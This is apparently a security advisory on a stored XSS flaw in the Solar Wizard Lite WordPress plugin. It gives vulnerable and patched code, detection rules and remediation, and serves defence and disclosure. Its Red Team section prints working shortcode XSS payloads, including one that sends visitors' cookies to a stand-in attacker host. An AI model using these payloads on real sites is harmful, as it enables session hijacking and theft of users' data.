CVE-2024-11764

Executive Summary

CVE-2024-11764 is a Stored Cross-Site Scripting (XSS) vulnerability in the Solar Wizard Lite WordPress plugin, affecting all versions up to and including 1.2.4. The flaw exists in the plugin's solar_wizard shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users are advised to monitor for updates from the plugin author and consider removing the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level or above)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the impact is limited to low confidentiality and integrity, the lack of user interaction and the ability to store malicious scripts persistently makes this a significant risk for WordPress sites with multiple authors.

Deep Dive & Mechanics

The vulnerability resides in the solar_wizard shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes before outputting them in the HTML. An attacker with Contributor-level access can create a post or page containing the shortcode with malicious JavaScript in an attribute, such as:

[solar_wizard color="red" onmouseover="alert('XSS')"]

When the shortcode is rendered, the onmouseover attribute is injected into the HTML without escaping. Any user who hovers over the element will trigger the script. Because the script is stored in the database, it persists and executes for all visitors.

The root cause is the use of echo or print functions without proper escaping functions like esc_attr() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin):

function solar_wizard_shortcode($atts) {
    $atts = shortcode_atts(array(
        'color' => 'blue',
    ), $atts);
    echo '<div style="color: ' . $atts['color'] . '">Solar Wizard</div>';
}
add_shortcode('solar_wizard', 'solar_wizard_shortcode');

Patched Code (hypothetical):

function solar_wizard_shortcode($atts) {
    $atts = shortcode_atts(array(
        'color' => 'blue',
    ), $atts);
    $safe_color = esc_attr($atts['color']);
    echo '<div style="color: ' . $safe_color . '">Solar Wizard</div>';
}
add_shortcode('solar_wizard', 'solar_wizard_shortcode');

The patched version uses esc_attr() to escape the attribute value, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: WordPress site with Solar Wizard Lite <= 1.2.4 installed, and an account with Contributor-level or higher privileges.
2. Craft Payload: Create a post or page and insert the shortcode with a malicious attribute:

   [solar_wizard color="red" onmouseover="alert(document.cookie)"]
   

3. Publish: Publish the post/page.
4. Trigger: Any user visiting the page and hovering over the element will execute the JavaScript.

Example Payload for Session Hijacking:

[solar_wizard color="blue" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus]

Blue Team (Detection & Hardening)

1. Monitor Shortcode Usage: Regularly audit posts/pages for unexpected shortcode attributes.
2. Web Application Firewall (WAF): Deploy WAF rules to block common XSS patterns in shortcode attributes.
3. User Role Management: Restrict Contributor-level access to trusted users only.
4. Plugin Removal: If no patch is available, consider deactivating and removing the plugin.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/solar-wizard-lite/solar-wizard-lite.php (or similar main plugin file)
• Database: Posts/pages containing the solar_wizard shortcode with suspicious attributes (e.g., onmouseover, onfocus, onclick).
• Logs: Web server logs showing requests to pages with the solar_wizard shortcode and unusual query strings.
• Network: Outbound connections to known malicious domains from the WordPress site.

Detection Engineering

YARA Rule

rule CVE_2024_11764_Solar_Wizard_XSS {
    meta:
        description = "Detects Solar Wizard Lite plugin files with potential XSS vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11764"
    strings:
        $shortcode = "solar_wizard" nocase
        $unsafe_echo = /echo\s*.*\$atts\[/ nocase
    condition:
        $shortcode and $unsafe_echo
}

Sigma Rule

title: CVE-2024-11764 Solar Wizard Lite Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS via Solar Wizard Lite shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/?solar_wizard'
        cs-uri-query|contains:
            - 'onmouseover'
            - 'onfocus'
            - 'onclick'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of shortcode attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11764 Solar Wizard Lite Stored XSS Attempt"; flow:to_server,established; content:"solar_wizard"; http_uri; pcre:"/(onmouseover|onfocus|onclick|javascript:)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Deactivate and remove the Solar Wizard Lite plugin until a patch is released.
2. Short-term: If removal is not possible, restrict Contributor-level access to only trusted users and implement a WAF to filter XSS payloads.
3. Long-term: Monitor the plugin's official page for updates. Apply the patch as soon as it becomes available.
4. Alternative: Consider using a different, actively maintained WordPress plugin for solar-related functionality.

Valters IT
Securing Digital Frontiers